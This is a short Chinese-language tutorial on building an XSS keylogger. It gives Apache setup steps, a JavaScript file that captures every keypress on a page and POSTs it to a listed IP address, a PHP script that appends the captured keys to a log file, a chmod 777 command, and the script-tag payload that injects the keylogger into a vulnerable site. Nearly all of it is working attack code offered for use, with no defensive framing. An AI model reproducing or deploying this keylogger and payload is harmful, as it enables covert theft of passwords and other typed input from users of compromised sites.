xss-键盘记录

开启liunx的apache服务。

/etc/init.d/apache2 start 

在/var/www/html下面创建三个文件

keylogger.js

document.onkeypress = function(evt) {
    evt = evt || window.event
    key = String.fromCharCode(evt.charCode)
    if (key) {
        var http = new XMLHttpRequest();
        var param = encodeURI(key)
        http.open("POST","http://192.168.47.168/keylogger.php",true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        http.send("key="+param);
    }
}

keylogger.php

<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>

keylog.txt用来保存记录的文字

需要赋予keylog.txt写入权限  
chmod 777 keylog.txt

成功记录下来

<script+src="http://192.168.47.168/keylogger.js"></script>